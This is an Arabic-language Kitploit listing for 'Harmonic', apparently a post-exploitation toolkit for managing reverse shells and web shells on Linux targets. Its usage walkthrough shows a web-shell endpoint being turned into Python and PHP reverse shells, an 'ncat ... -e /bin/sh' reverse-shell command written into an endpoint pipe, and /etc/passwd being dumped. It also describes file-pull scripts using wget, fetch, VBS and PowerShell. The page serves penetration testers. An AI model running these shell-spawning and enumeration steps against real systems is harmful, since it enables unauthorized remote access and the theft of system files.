Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Harmonic — مجموعة أدوات للتعامل مع الريفرس شل مصممة للعمل ضمن الصدفة الأصلية | Kitploit
أدوات/GitLabGitLab/runik/harmonic
تصعيد الامتيازاتالبرمجة النصية والأتمتةاستغلال تطبيقات الويبجمع المعلوماتما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعدتوليد شيفرة القشرةتطوير الحمولات
GitLab
16منذ 8 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
runik/harmonic

Harmonic

مجموعة أدوات للتعامل مع الريفرس شل مصممة للعمل ضمن الصدفة الأصلية

عرض المستودع

Harmonic Suite

بداية مجموعة أدوات لينكس لإدارة والتعامل مع القشور العكسية (لا تزال الشيفرة في حالة خام وسريعة حاليًا، مع القليل من معالجة الاستثناءات). مع استلهام قوي من فلسفة UNIX، الفكرة الأساسية هي وجود خفي (دايمون) للتعامل مع نقاط نهاية عشوائية (connd، على الرغم من أنه ليس خفيًا حقيقيًا بعد لكنه يمكن أن يعمل في طرفية منفصلة) وتشغيل الأدوات ضد نقاط النهاية هذه.

نقاط النهاية "تُدار" بواسطة سكربت أو عملية وتُعرض كملفات في نظام الملفات، ومن ثم يمكن استخدام عميل برمجي رفيع للتفاعل معها، ويمكن بنفس السهولة الكتابة إليها والقراءة منها باستخدام أوامر القشرة. في الواقع، القدرة على تشغيل السكربتات بشكل مستقل من القشرة هي عامل تصميم رئيسي حيث يُفترض، في أفضل الحالات، أن يعتمد السكربت على وجود نقطة نهاية لكن يمكن استخدامه مع غيره أيضًا (تتسلسل مع بعضها البعض).

خيارات نقاط النهاية الحالية هي:

  • nc - تشغيل نقطة نهاية netcat على منفذ معين
  • wsh - قشرة سياقية تستخدم للتفاعل مع سكربت قشرة ويب أساسي
  • with - تشغيل عملية عشوائية كنقطة نهاية

يوفر العميل البرمجي الرفيع (hthinc.py) واجهة أساسية لنقطة نهاية النظام بالإضافة إلى تشغيل سكربتات بسرعة ضد النظام. تمت كتابة عدة سكربتات أساسية لكنها مفيدة:

  • sp - يقوم بإجراء تعداد ضد نظام لينكس بعيد، ويحدد لغات السكربتات (حاليًا بايثون فقط)، وسيبدأ نقطة نهاية جديدة ويطلق قشرة تفاعلية عبر نقطة النهاية الحالية للاتصال بنقطة النهاية الجديدة. إذا تم تحديد مشغل، فسيتخطى التعداد ويحاول استخدام المشغل
  • lpc - تشغيل سكربت Linux Priv Escalation Checker ضد النظام عبر نقطة النهاية
  • log - تسجيل مخرجات أمر إلى دليل العمل الحالي
  • mac - تشغيل ماكرو محدد مسبقًا ضد نقطة النهاية (كما هو معرف في قسم الماكرو في $HCROOT/.hcrc)
  • pull - سكربت ماكرو لـ wget يقوم بتنزيل الملفات من بوابة إرسال (لينكس)
  • fpull - سكربت ماكرو لـ fetch يقوم بتنزيل الملفات من بوابة إرسال (*bsd)
  • wpinit - تعداد محركات سكربتات ويندوز (حاليًا VB فقط) وإنشاء سكربت بوابة ملفات للاستخدام مع wpull
  • vbpull - سكربت ماكرو لسكربت portal.vbs (انظر: wpinit) لسحب الملفات من بوابة إرسال (ويندوز)
  • pspull - سكربت ماكرو لاستخدام PowerShell لسحب ملف من بوابة إرسال (ويندوز)

أنواع مشغلات القشرة العكسية (أي ما يقوم بتشغيل القشرة على النظام البعيد) هي التالية (حاليًا دعم لينكس):

  • php
  • perl
  • fifo
  • python27
  • python3x

سكربتات أخرى:

  • hgenrsh.py - توليد أمر قشرة عكسية بايثون (مضغوط ومشفر base64) يمكنه التفرع من العملية الجارية
  • hcmd.py - تشغيل أمر من البيئة المحلية
  • hscr.py - تشغيل سكربت قابل للربط (hook)
  • hdis.py - الاستماع لاتصال وإرسال بيانات عشوائية إلى العميل من stdin
  • sys/bin/hpd.py - خادم بوابة إرسال لسحب الملفات باستخدام بروتوكول HTTP

مثال على الاستخدام

  • في المثال، يشير $HCROOT إلى دليل هذا المستودع (انظر الإعداد في الأسفل)
  • connd يعمل كخفي أو كعملية عادية.
    • يمكن تشغيله من $HCROOT/sys/bin/connd (يجب بناؤه أولاً)

أخبر connd ببدء نقطة نهاية، باستخدام مشغل قشرة wedge ضد سكربت php المقدم والذي يقوم باستدعاءات نظام مع استجابة منسقة. لكن هذا السكربت المكون من سطر واحد كان يمكن بسهولة أن يُحقن ككود في سجل خادم

$ hconnd.py start wsh http://example.com/hwsh.php
1

هذا أنشأ نقطة النهاية 1 (أنبوبي إدخال/إخراج — يمكنك رؤيتهما كـ t1i و t1o في الدليل الفرعي run). لذا الآن نستخدم hthinc.py للتفاعل مع القشرة.

$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

نعلم أن هذا نظام لينكس. نريد الابتعاد عن قشرة ويب محشورة والحصول على قشرة حقيقية. تشغيل الأمر المدمج !help يعرض رسالة مساعدة thinc. يمكننا تشغيل سكربت sp والذي سيشغّل أوامر تلقائيًا ضد النظام البعيد، إجراء تعداد للبيئة، بدء نقطة نهاية nc، إطلاق قشرة عكسية والدخول تلقائيًا عبر hthinc.py جديد:

runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

أو إذا علمنا أننا نستخدم (مثلًا) PHP كمشغل، يمكننا تحديد ذلك:

runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

ولنفترض أن لدينا قشرة بدون TTY أو نريد الخروج منها يمكننا تشغيل أحد الماكروهات الافتراضية:

$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

أيضًا إذا أردنا تسجيل مخرجات أمر يمكننا استخدام سكربت log والذي سيحفظها في دليل العمل الحالي:

$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

بينما نقاط النهاية تعمل، يمكنك إرفاق/فصل العملاء لأن عمليات الاتصال تُدار بواسطة الخفي

التكرار السريع

نظرًا لأن كل شيء يمكن تشغيله بطريقة يونكسية أكثر، يمكننا تكرار العمليات بسرعة من القشرة. نبدأ نقطة نهاية قشرة ويب، نحصل على معرف نقطة النهاية ثم من القشرة نشغّل سكربت sp.py ضد نقطة النهاية (إنه نفس السكربت المستخدم في hthinc.py لكن بنقطة دخول مختلفة).

$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

أو كسطر واحد:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

وأتمتته بسهولة:

$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

تشغيل أمر من بيئتك المحلية

أداة hcmd.py تسمح لك بتشغيل أمر بسرعة عبر نقطة نهاية من قشرتك

$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

وتوجيه النتائج أو إعادة توجيهها كالمعتاد

$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

تتبع نقاط النهاية

يمكنك استخدام الفعل list مع hconn.py لرؤية القائمة الحالية لنقاط النهاية، مع حالة الاتصال إذا كان ذلك مناسبًا

$ hconn.py list
1 [26616]:	/home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php	
2 [26622]:	nc -lp 4455 	Established -> 10.15.10.4
3 [26659]:	nc -nlvp 4495	Listening

العمل مع نقاط النهاية كملفات

إعداد نقطة نهاية قشرة wedge:

$ hconn.py start wsh http://example.com/hwsh.php
1

الآن يمكننا إعداد مستمع netcat على المنفذ 4444:

$ hconn.py start nc 4444
2

ثم الكتابة إلى نقطة نهاية القشرة wedge (معرف 1) عبر ملف الإدخال:

$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i

يجب أن يكون هذا قد أطلق قشرة عائدة إلى مستمع netcat. أرفق العميل الرفيع بنقطة نهاية netcat (معرف 2) وينبغي أن نحصل على قشرة أخرى بانتظارنا:

$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

تشغيل السكربتات

إن تعميم واجهة القشرة في ملفات يعني أن السكربتات المستخدمة ضد نقطة نهاية قشرة ويب ستعمل أيضًا ضد نقطة نهاية قشرة عكسية netcat. يمكنك استدعاء السكربتات باستخدام مسارها المطلق ($HCROOT/share/script/*.py) أو يمكنك استخدام السكربت المساعد hscr.py

يمكننا تشغيل sp.py ضد نقطة نهاية netcat وإطلاق قشرة عكسية أخرى:

تنزيل الأداة